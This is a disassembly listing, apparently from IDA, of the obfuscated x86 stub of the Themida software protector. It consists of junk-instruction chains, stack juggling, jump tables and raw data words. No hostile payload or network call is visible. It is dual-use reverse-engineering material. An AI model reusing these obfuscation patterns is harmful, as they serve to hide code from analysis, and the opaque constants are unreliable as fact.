loc_561B17:				; CODE XREF: Themida_:005647E3j
		neg	ecx
		shr	ecx, 6
		not	ecx
		add	ecx, 1C59E9Dh
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		jmp	loc_56E3BB
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 8B042474h, 0C483241Ch, 24048F04h, 0E924248Bh
		dd 1C68h
; ---------------------------------------------------------------------------


loc_561B4C:				; CODE XREF: Themida_:00560084j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	al, 41h
		and	ch, al
		mov	eax, [esp]
		add	esp, 4
		sub	ch, 49h
		jmp	loc_5614F2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 5CB7h, 0CA81D2F7h, 4445272Fh, 0CDCF281h
		dd 0EA8160B4h, 3458E6F2h, 0FFBDF7E9h, 5A7568FFh, 355852C2h
		dd 44C1DA1h, 8102E0C1h,	4ECh, 0D8DAE900h, 3DB9FFFFh, 817C5A49h
		dd 0C60DE4C9h, 0BD8CE972h, 0B850FFFFh, 474D61D4h, 65E9C729h
		dd 80FFFFF6h, 0F108ADC6h, 2E1C05Ah, 2EC81h, 4AE90000h
		dd 0B8FFFFC3h, 37C77E7Fh, 4EE9C529h, 5EFFFFDCh,	5D1C6F09h
		dd 0FFA73AE9h, 0E68956FFh, 0CB3BE9h, 1BEB8100h,	5F1F8367h
		dd 0C0AE9h, 0BCE95200h,	0B9000051h, 0AAB1784h, 0E1D1D9F7h
		dd 0C65E9h
		db 0
; ---------------------------------------------------------------------------


loc_561C11:				; CODE XREF: Themida_:0056D161j
		pop	esp
		pop	esi
		push	2DE8h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	24h
		pop	edx
		jmp	loc_55FC9E
; ---------------------------------------------------------------------------
		dd 61EE8159h, 8964B5EAh, 0E9525EF3h, 2536h
; ---------------------------------------------------------------------------


loc_561C50:				; CODE XREF: Themida_:0056A4CFj
		mov	ecx, 0B8A43E8h
		sub	dword ptr [esp+4], 6FCC4C59h
		push	esi
		jmp	loc_563D8B
; ---------------------------------------------------------------------------
		db 30h
		dd 0EC8158C6h, 4, 0B3241C89h, 75C380F8h, 505BDE00h, 0E628EDB4h
		dd 8324048Bh, 0C68004C4h, 0F85E9EFh, 21050000h,	50B7F28h
		dd 0CF9BA745h, 0E958C229h, 94A1h, 5A564FB9h, 4EC8336h
		dd 0E9241C89h, 0E7E0h, 0CBE9C528h, 8B000024h, 8951242Ch
		dd 3495E9E1h, 4050000h,	87000000h, 8F5C2404h, 248B2404h
		dd 0D1B0E924h, 0EB010000h, 0E9FB015Dh, 0FFFFFF15h, 0EA49E952h
		dd 0F3810000h, 0D48E03h, 5FC3E9h, 0EAE95200h, 8B0000BCh
		dd 5F682424h, 8900002Fh, 0E6892434h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 83240C89h, 148904ECh, 4BC86824h, 425A5C85h
		dd 0D131CA31h, 0D1F7CA31h, 0A2E9CA31h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D2F:				; CODE XREF: Themida_:0056229Ej
		mov	cl, al
		jmp	loc_560E86
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 68525504h, 14262CD6h, 0B1B8505Ah, 21654F68h,	633CE9C2h
		dd 0E9810000h, 7EAE4AEBh, 0C181D1F7h, 0C116805h, 0C181E9D1h
		dd 0BABD368Fh, 2565E9h,	41C28100h, 15D3452h, 42DCE9EAh
		dd 0C5810000h, 713226F3h, 242C875Eh, 6624248Bh,	66C8AF0Fh
		dd 94E99C51h, 56FFFFA5h, 9559E9h, 5EF28900h, 4A09C281h
		dd 0D101E127h, 1A37E95Ah, 0EE680000h, 89000062h, 0E389241Ch
		dd 48B0E9h
		db 0
byte_561DB5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C220o
aXhj		db 'Xhj',7,0
		align 2
		dw 1489h
		dd 148B5424h, 0DEB4E924h, 22DFFFFh, 87000000h, 1BE92404h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561DD7:				; CODE XREF: Themida_:0056A550j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_56F2A9
; ---------------------------------------------------------------------------
		db 68h
		dd 3687h, 0FFE370E9h, 0DDF75AFFh, 6B7FED81h, 535174F1h
		dd 27861EBBh, 0E9CAE91Bh, 0F75AFFFFh, 0EC834BDBh, 24348904h
		dd 0E5FEECBEh, 5EF331EEh, 49B2E981h, 0C1816C1Ah, 24026725h
		dd 0FFF465E9h, 14F756FFh, 24348B24h, 0E904C483h, 7D4h
; ---------------------------------------------------------------------------


loc_561E34:				; CODE XREF: Themida_:00563562j
		xor	edx, 73D15ECEh
		xor	edx, 1BBC71AEh
		jmp	loc_56D832
; ---------------------------------------------------------------------------


loc_561E45:				; CODE XREF: Themida_:0055DD6Aj
		pop	edi
		push	edx
		mov	edx, 152A2A15h
		jmp	loc_56CEFF
; ---------------------------------------------------------------------------
		db 5Dh,	53h, 0BBh
		dd 18756BA3h, 945FC381h, 0DF01E78Ah, 0A977E95Bh, 0C2810000h
		dd 598F7CFCh, 5E26EA81h, 0DDE95F6Fh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561E77:				; CODE XREF: Themida_:0055C701j
		mov	esi, 771B03A1h
		add	esi, 0EF9249FDh
		sub	ecx, esi
		jmp	loc_56F4FF
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 9Bh
		dd 56FFFFF3h, 0C681E689h, 4, 4EE81h, 34870000h,	1C895C24h
		dd 0E95B5A24h, 0EF46h
; ---------------------------------------------------------------------------


loc_561EAC:				; CODE XREF: Themida_:005651A9j
		push	eax
		jmp	loc_55F39F
; ---------------------------------------------------------------------------
aIFxsL		db ')fXɋ',0
		db 0
; ---------------------------------------------------------------------------


loc_561EBD:				; CODE XREF: Themida_:005632BAj
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56D37D
; ---------------------------------------------------------------------------
		dd 4C481h, 14870000h, 24248B24h, 51C8AF0Fh, 0A441E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EE2:				; CODE XREF: Themida_:00569070j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_5701AF
; ---------------------------------------------------------------------------
		dd 0EAC05866h, 5DB05007h, 0FFD3D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561F05:				; CODE XREF: Themida_:00563052j
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 73434BA0h
		jmp	loc_56DB5E
; ---------------------------------------------------------------------------
		db 89h
		dd 55B9240Ch, 29073A04h, 0DBCFE9CAh, 2C8BFFFFh,	4C48124h
		dd 0E9000000h, 53D3h, 30D1C381h, 0DD890BCBh, 4911E9h, 0C3815B00h
		dd 4, 55DCE9h, 41B95100h, 0BE23D762h, 23D76245h, 3DE9CE29h
		dd 810000E4h, 4ECh, 24148900h, 0DE9C288h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F77:				; CODE XREF: Themida_:0057052Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5713F6
; ---------------------------------------------------------------------------


loc_561F8B:				; CODE XREF: Themida_:0055DD0Dj
		xor	eax, [esp]
		jmp	loc_56B4C6
; ---------------------------------------------------------------------------
byte_561F93	db 0FFh			; DATA XREF: Themida_:0055C1BCo
		dd 589D1C77h, 9C240419h, 0FFA382E9h, 48F5AFFh, 34895C24h
		dd 4EC8324h, 0BC59E9h, 24348700h, 2B8505Ch, 0E9000000h
		dd 10A8h, 4C146866h, 240C8966h,	0B52CB753h, 8BFD3006h
		dd 0E956241Ch, 64BAh, 5761EB81h, 0BF57356Fh, 5EA27714h
		dd 0F0E9FB01h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_561FEB:				; CODE XREF: Themida_:005632F1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_560EE8
; ---------------------------------------------------------------------------
		db 89h
		dd 13E92414h, 8B000056h, 0C4812434h, 4,	0F181E1D1h, 9A31CFA2h
		dd 0FFB803E9h, 668BBBFFh, 0D82955CFh, 241C8B5Bh, 4C481h
		dd 4D680000h, 89000021h, 74FF2404h, 0E9580424h,	13EAh
		dd 0E964EB80h, 1310h, 72EFBF57h, 0EFC111B3h, 4EFC106h
		dd 0E3F7814Fh, 290B8910h, 0D70CE9FBh, 0C729FFFFh, 64EF8158h
		dd 9645407h, 0EC815FF8h, 4, 53242C89h, 0B81FA168h, 0C1435B10h
		dd 0C38108EBh, 0CEAACD9h, 0C15BDD89h, 0E95307EDh, 47DCh
; ---------------------------------------------------------------------------


loc_562094:				; CODE XREF: Themida_:00565946j
		shl	esi, 6
		jmp	loc_5618D1
; ---------------------------------------------------------------------------
		dd 0E9EE815Eh, 894E2351h, 24348BF3h, 0F0CBE9h, 0BD555800h
		dd 26E96C3Bh, 0E956D5F7h, 0F074h
; ---------------------------------------------------------------------------


loc_5620BC:				; CODE XREF: Themida_:005663CDj
		push	ebp
		push	esi
		jmp	loc_562637
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4EC81h, 14890000h, 0F625B624h, 80CEFEDEh, 0F3282FF6h
		dd 3CE9515Ah, 5C00007Eh, 2E08E9h
		db 0
; ---------------------------------------------------------------------------


loc_5620E5:				; CODE XREF: Themida_:005701E9j
		push	eax
		jmp	loc_569BD6
; ---------------------------------------------------------------------------


loc_5620EB:				; CODE XREF: Themida_:0056B9FEj
		sub	esp, 4
		jmp	loc_56B84F
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 2C19h
; ---------------------------------------------------------------------------


loc_5620FC:				; CODE XREF: Themida_:00563095j
		mov	[esp], eax
		push	eax
		jmp	loc_55E088
; ---------------------------------------------------------------------------


loc_562105:				; CODE XREF: Themida_:00563425j
		pop	edx
		sub	ecx, edi
		jmp	loc_56F45C
; ---------------------------------------------------------------------------
		db 68h,	0AEh, 3Fh
		dd 0C890000h, 16E95224h, 5A000043h, 0FFC270E9h
		db 0FFh
byte_562121	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C12Co
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch
		dd 1C895C24h, 0B4D5E924h, 0F5810000h, 24107008h, 34FFEA01h
		dd 0B368E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562156:				; CODE XREF: Themida_:0056F57Bj
		pop	edi
		mov	ecx, ebp
		jmp	loc_56FF46
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0E0Fh
; ---------------------------------------------------------------------------


loc_562164:				; CODE XREF: Themida_:0055E73Cj
		add	ebp, 4
		jmp	loc_56FA57
; ---------------------------------------------------------------------------


loc_56216F:				; CODE XREF: Themida_:0056B0B5j
		mov	esi, 12346B8Bh
		mov	ebp, 91BCDAC9h
		sub	ebp, esi
		jmp	loc_55D832
; ---------------------------------------------------------------------------


loc_562180:				; CODE XREF: Themida_:005625EFj
		push	1BC8h
		mov	[esp], ebp
		mov	ebp, 306A79FAh
		sub	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_562EEE
; ---------------------------------------------------------------------------
byte_5621A5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C2A8o
		dd 0E3895324h, 43FAE9h,	0BAE68100h, 683EA458h, 8B1h, 52243C89h
		dd 7923B868h, 0E2815A59h, 347710E3h, 77DBE9h, 358DBE00h
		dd 3E2D6303h, 0E957E17Dh, 0CC75h, 3CC2C781h, 54686C36h
		dd 8900005Fh, 7EBE2434h, 813A7F4Fh, 866129E6h, 7E0E939h
		dd 0E9580000h, 0EF1h
aRvse9		db 'RVE9',0            ; DATA XREF: Themida_:0055C19Co
		dw 8100h
		dd 57596C7h, 48EF8106h,	17034BBh, 0A421E9FBh, 0C8BFFFFh
		dd 2CDDE924h, 55B20000h, 65E9D188h, 5900003Ah, 0E96BB158h
		dd 3CF3h, 0E9243C89h, 77FCh, 19D9E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562246:				; CODE XREF: Themida_:0056A59Dj
		xor	edx, 22FB7EAEh
		jmp	loc_56C243
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 51000000h, 1E6A80B9h, 84F18172h, 81721E6Ah, 0CD0B9DEAh
		dd 81CA0163h, 0CD0B9DC2h, 0BE565963h, 4, 714BBD55h, 0C2817E55h
		dd 9F109C4h, 0E2E9EA01h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56228B:				; CODE XREF: Themida_:0055E961j
		mov	bh, cl
		mov	cl, al
		pop	eax
		not	bh
		push	7470h
		mov	[esp], eax
		mov	al, bh
		mov	bh, cl
		jmp	loc_561D2F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 23ACE9h, 7E8C100h, 0BF57h, 0C7290000h, 0C15FF889h
		dd 5EE905E8h, 52FFFFA1h, 14B46857h, 0F3E94AA3h,	280000DFh
		dd 24345BF8h, 75E99334h, 5F0000C1h, 0EB81C329h,	5EA27714h
		dd 9E8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5622E9:				; CODE XREF: Themida_:0056B81Aj
		push	eax
		push	6FBF33DDh
		pop	eax
		mov	edx, eax
		pop	eax
		push	5CB2h
		mov	[esp], ebx
		jmp	loc_569D06
; ---------------------------------------------------------------------------
		dd 0FFA01EE9h, 243C8BFFh, 5604C483h, 0FFFEC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562311:				; CODE XREF: Themida_:0056A617j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_567980
; ---------------------------------------------------------------------------
		db 30h,	0E2h, 58h
		dd 28ABC380h, 0ABEB80D3h, 0B151665Ah, 4404BAh, 66442CC8h
		dd 66D82859h, 66262268h, 0B7241C89h, 3BB652BAh,	0F680D6F6h
		dd 0F6CEFE20h, 0B1C680D6h, 0FFF3F0E9h, 0DF015BFFh, 83241C8Bh
		dd 0CF0104C4h, 6E80EF81h, 0DCE92E60h, 590000B4h, 8304C483h
		dd 0DC6804C4h, 89000013h, 25BD242Ch, 815A613Ch,	90D656EDh
		dd 76242D31h, 11E90E56h
		db 0F0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562393:				; CODE XREF: Themida_:0056B5C6j
		xor	bl, 1Bh
		or	dh, bl
		pop	ebx
		jmp	loc_56C9D3
; ---------------------------------------------------------------------------
		dw 5E52h
		dd 0C4C5815Ah, 11F4828h, 0C4ED81F5h, 5E1F4828h,	1E368h
		dd 0BD93E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5623BA:				; CODE XREF: Themida_:00563CA9j
		shr	ecx, 0Ah
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		sub	ebp, 64FF0E93h
		add	ebp, eax
		jmp	loc_56CE03
; ---------------------------------------------------------------------------


loc_5623F0:				; CODE XREF: Themida_:00566B6Aj
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, 5AC30434h
		sub	edx, 0E0A2790h
		add	edx, ebp
		add	edx, 0E0A2790h
		sub	edx, 5AC30434h
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56DA89
; ---------------------------------------------------------------------------
aRJs6t		db 'Rj6T',0
		align 2


loc_562436:				; CODE XREF: Themida_:0056ADA1j
		shl	ebp, 7
		sub	ebp, 4509C5D1h
		xor	ecx, ebp
		jmp	loc_562D49
; ---------------------------------------------------------------------------
		dw 0BE68h
		dd 5A17822Bh, 815AD601h, 6E6DEBC6h, 0E9C60164h,	3844h
; ---------------------------------------------------------------------------


loc_56245C:				; CODE XREF: Themida_:00570C41j
		push	ebp
		mov	ebp, 6BFB1B16h
		neg	ebp
		dec	ebp
		shl	ebp, 4
		xor	ebp, 1A797B19h
		sub	ecx, ebp
		pop	ebp
		push	3727h
		jmp	loc_56EFBE
; ---------------------------------------------------------------------------


loc_56247B:				; CODE XREF: Themida_:0056E066j
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 3194F25h
		add	ebx, 1F6A6371h
		add	ebx, 11F871CBh
		add	ebx, 1FBF2DF2h
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56959C
; ---------------------------------------------------------------------------


loc_5624AB:				; CODE XREF: Themida_:005707EDj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_56C086
; ---------------------------------------------------------------------------
		db 29h
		dd 241C8BDAh, 0E904C483h, 0FFFFC2D2h
; ---------------------------------------------------------------------------


loc_5624E0:				; CODE XREF: Themida_:005684ADj
		not	ebx
		xor	ebx, 18C22A75h
		not	ebx
		push	ebp
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 534C7161h
		jmp	loc_5679AD
; ---------------------------------------------------------------------------
		dd 0B755B652h, 5AF73050h, 0EFC0CFFEh, 88515008h, 0E9C888F9h
		dd 0FFFFEB26h
; ---------------------------------------------------------------------------


loc_562514:				; CODE XREF: Themida_:0056334Bj
		mov	esp, [esp]
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	67EAh
		mov	[esp], eax
		push	edi
		jmp	loc_56DB13
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0CB0104C4h, 3BDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_562539:				; CODE XREF: Themida_:00565C1Ej
		mov	ecx, [esp]
		jmp	loc_56528F
; ---------------------------------------------------------------------------


loc_562541:				; CODE XREF: Themida_:0055CA7Fj
		sub	edi, 18200573h
		add	edi, 382D6AD3h
		add	edi, 0CB3A5DAAh
		push	ecx
		mov	ecx, 2EBD1638h
		add	esi, ecx
		pop	ecx
		add	esi, edi
		sub	esi, 2EBD1638h
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_569277
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 66D5F6C8h, 28000068h, 2C8A242Ch, 2C48324h, 0AE9D5F6h
		dd 55000072h, 4BDh, 5DEB0100h, 8B241C87h, 48F2424h, 0C4815C24h
		dd 4, 7873E9h, 51D98600h, 0D1F6D988h, 8659CB88h, 0E9D9F6D9h
		dd 322Ah
dword_5625C0	dd 28B6664h, 32946866h,	24048966h, 0FF9D52E9h, 4DC7BFFFh
					; DATA XREF: Themida_:0055C0A0o
		dd 0F9295F11h, 81D1295Fh, 4ECh,	242C8900h, 0FFE920E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5625E9:				; CODE XREF: Themida_:0055D1CAj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		jmp	loc_562180
; ---------------------------------------------------------------------------


loc_5625F4:				; CODE XREF: Themida_:00571093j
		neg	ebp
		push	ebx
		mov	ebx, 774C548Eh
		add	ebp, 0C2B3352h
		push	esi
		jmp	loc_562F3F
; ---------------------------------------------------------------------------
		dd 5FE681h, 0CE810532h,	46760573h, 0FA83BA52h, 0D601B989h
		dd 0FFE4B6E9h
		db 0FFh
byte_562621	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C050o
aS4_0		db '$4',0
		align 2


loc_56262A:				; CODE XREF: Themida_:0055FD0Bj
		mov	eax, 73E81915h
		shl	eax, 1
		push	ebp
		jmp	loc_562C97
; ---------------------------------------------------------------------------


loc_562637:				; CODE XREF: Themida_:005620BEj
		push	58A32381h
		jmp	loc_56A440
; ---------------------------------------------------------------------------


loc_562641:				; CODE XREF: Themida_:0056610Ej
		push	esi
		mov	esi, 2B0C3159h
		sub	[esp+8], esi
		mov	esi, [esp]
		jmp	loc_55F8F6
; ---------------------------------------------------------------------------
byte_562653	db 66h			; DATA XREF: Themida_:0055C150o
		dd 0C8E9028Fh, 33FFFF9Ch, 0BFE9240Ch, 53000052h, 4BBh
		dd 5BDF2900h, 31243C33h, 3C33243Ch, 34895C24h, 9860E924h
		dd 91680000h, 89000027h, 14F7241Ch, 0C3815B24h,	1A0C012Ch
		dd 3106C181h, 0D9011612h, 3106E981h, 34FF1612h,	27E95B24h
		db 9Dh,	2 dup(0)
byte_5626A7	db 66h			; DATA XREF: Themida_:0055C134o
		dd 6824048Bh, 47FCh, 83240C89h,	248904ECh, 24048124h, 4
		dd 0E0895059h, 405h, 0B9515300h, 6FC56B67h, 0C56B63BBh
		dd 59CB316Fh, 0E7F2E9h,	24348900h, 24348B54h, 0E904C483h
		dd 0DE19h, 34FFD329h, 0C4835A24h, 0BA87E904h, 0EF810000h
		dd 3B302408h, 0C781DF01h, 3B302408h, 68C7015Bh,	1FD9h
		dd 57240C89h, 946AD8BFh, 5FF9897Bh, 2414F751h, 0C440E9h
		dd 0BF575A00h, 3E876A4Dh, 8247C29h, 2444015Fh, 0E6895604h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 0B8240489h, 3E876A4Dh
		dd 8244401h, 0DA7AE9h, 24148900h, 6B6CCCBAh, 0F7EAD135h
		dd 3AC281DAh, 0C134AA36h, 0D8E903E2h
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562773:				; CODE XREF: Themida_:00564A5Bj
		add	edx, 4
		sub	esp, 4
		jmp	loc_55F7B4
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 250F68h, 240C8900h, 0BFFBE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562792:				; CODE XREF: Themida_:0056CA9Fj
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_55C659
; ---------------------------------------------------------------------------
		db 0BDh, 70h, 44h
		dd 0CD8163C4h, 23B11DF3h, 0B0B0E9h, 74FF5300h, 0CDE90424h
		dd 0FF0000CEh, 59042474h, 5C24048Fh, 24048B66h,	815E5456h
		dd 4C6h, 0E9525100h, 0FFFFABEFh
; ---------------------------------------------------------------------------


loc_5627D4:				; CODE XREF: Themida_:00563FF0j
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 2Ah
		dd 2943F75Fh, 2434FFF2h, 9CCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5627E9:				; CODE XREF: Themida_:0056B553j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_5627F1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C040o
		dd 0E924048Bh, 0E567h, 0C15DEB89h, 0E904E3h, 51FFFFD4h
		dd 4B9h, 59CB0100h, 8B241C87h, 34FF2424h, 41685924h, 8900000Ch
		dd 58542404h, 75F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_562829:				; CODE XREF: Themida_:0055CF5Ej
		push	esi
		mov	esi, 23F9158Eh
		xor	esi, 355B20FEh
		not	esi
		jmp	loc_568B54
; ---------------------------------------------------------------------------
		dd offset dword_445750+4B18h
		dd 241C8900h, 1B850h, 0ADE90000h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56284F:				; CODE XREF: Themida_:0056C275j
		pop	bx
		or	cl, al
		mov	eax, [esp]
		add	esp, 4
		dec	cl
		dec	cl
		add	cl, 74h
		jmp	loc_55E95E
; ---------------------------------------------------------------------------


loc_562868:				; CODE XREF: Themida_:005630C3j
		add	esp, 4
		shl	ebp, 3
		jmp	loc_56AC1F
; ---------------------------------------------------------------------------
		dw 8149h
		dd 798B3EF1h, 8AC181E3h, 0E91BAE44h, 0AE85h, 1D43EF81h
		dd 0F701295Ah, 1D43C781h, 87E9295Ah
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56289B:				; CODE XREF: Themida_:00569522j
		sub	al, 49h
		jmp	loc_56BA0D
; ---------------------------------------------------------------------------
aS_5		db '\',0
		align 4
aYszc		db 'Y',0
		align 2
		dw 82BAh
		dd 292A2618h, 33595AD0h, 0B1E92404h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5628BF:				; CODE XREF: Themida_:005712F8j
		shr	ecx, 0
		or	eax, eax
		jz	loc_55DF8A
		push	2FEFh
		mov	[esp], ebx
		jmp	loc_56EF02
; ---------------------------------------------------------------------------
		db 29h
		dd 0F3815DEBh, 570476A8h, 0BF57E3D1h, 4BCD7D0Eh, 6BC8F781h
		dd 0FB29839Ch, 121AE9h,	9FEA8100h, 14ADB3Dh, 0FABE9D0h
		dd 9AB90000h, 0E94E823Ch, 590Eh, 4C581h, 0EC810000h, 4
		dd 68243489h, 5060h, 81242489h,	42404h,	348B0000h, 4C48124h
		dd 53000000h, 4BBh, 0E9DE0100h,	0B8BFh,	5767E952h, 0F3800000h
		dd 65B8E988h
		db 2 dup(0)
word_56294E	dw 52ADh		; DATA XREF: Themida_:0055C0E4o
		dd 466761BAh, 81D2F75Bh, 465F67EAh, 0D877E946h,	74FF0000h
		dd 48B0424h, 5304E924h,	0B0E90000h, 5CFFFF99h, 0BE243489h
		dd 6B2F7A8Eh, 69B9E9h, 88EC8800h, 24148BF5h, 4C481h, 0F5800000h
		dd 30E9523Dh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562997:				; CODE XREF: Themida_:0055FB21j
		xor	al, 52h
		sub	bh, 38h
		sub	bh, al
		add	bh, 38h
		mov	eax, [esp]
		add	esp, 4
		shl	bh, 4
		sub	bh, 12h
		or	cl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_567896
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 87000000h, 9CE9241Ch, 58FFFFA1h, 0BD55h
		dd 0C5290000h, 6F1CE995h, 94680000h, 89000075h,	4FBF243Ch
		dd 11B5901h, 0BA525FFEh, 77E378F4h, 7B23E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5629FA:				; CODE XREF: Themida_:00566A92j
		mov	ebp, 1BFE551Eh
		xor	[esp+4], ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 1BFE551Eh
		pop	eax
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56EB3B
; ---------------------------------------------------------------------------
		dd 242C8166h, 5E660D53h, 53C68166h, 2C8B660Dh, 2C48324h
		dd 66F13166h, 8124348Bh, 2C4h, 0C5056600h, 0C8296644h
		dd 5F685366h, 89000009h, 0BE662434h, 0BB6616E0h, 29665BA5h
		dd 9DEFE9F3h, 1489FFFFh, 50BB5324h, 0C1093374h,	0C2E908EBh
		dd 81FFFFE9h, 226257EAh, 9B7DE947h, 0E9810000h,	0B7E88210h
		dd 6CE9CB89h, 81FFFFB1h, 4EFh, 243C8700h, 8924248Bh, 0BB532414h
		dd 44E43313h, 0BB0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562AB5:				; CODE XREF: Themida_:0056C2CCj
		xchg	edx, ecx
		jmp	loc_56158A
; ---------------------------------------------------------------------------
		dd 4C481h, 0CF890000h, 0CDE95559h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562ACB:				; CODE XREF: Themida_:005693C7j
		add	edi, 7AFC078Ch
		xor	ecx, edi
		pop	edi
		push	eax
		mov	eax, 79817B8Ah
		sub	ecx, eax
		jmp	loc_55F6D7
; ---------------------------------------------------------------------------
		db 30h,	0E5h, 8Bh
		dd 0C4812404h, 4, 42B75352h, 0FE30C6B6h, 0F7C6805Bh, 80F6B551h
		dd 0EDC01CF5h, 0A0DDE903h, 18E9FFFFh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B0B:				; CODE XREF: Themida_:00564364j
		mov	[esp], edx
		push	ebx
		jmp	loc_568FB2
; ---------------------------------------------------------------------------
		dd 0FF980AE9h, 8BDE09FFh, 8956241Ch, 4C681E6h, 83000000h
		dd 348704C6h, 0EE815C24h, 0B1CFF8FDh, 2A73EB81h, 0F3290582h
		dd 2A73C381h, 15E0582h,	62C381C3h, 5649E705h, 0FFF60DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562B51:				; CODE XREF: Themida_:00562E85j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 37D47615h
		not	ebx
		xor	ebx, 0C82B89EEh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edx, eax
		pop	eax
		and	eax, edx
		pop	edx
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		push	45C7h
		mov	[esp], esi
		jmp	loc_568B1E
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 0BE06E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


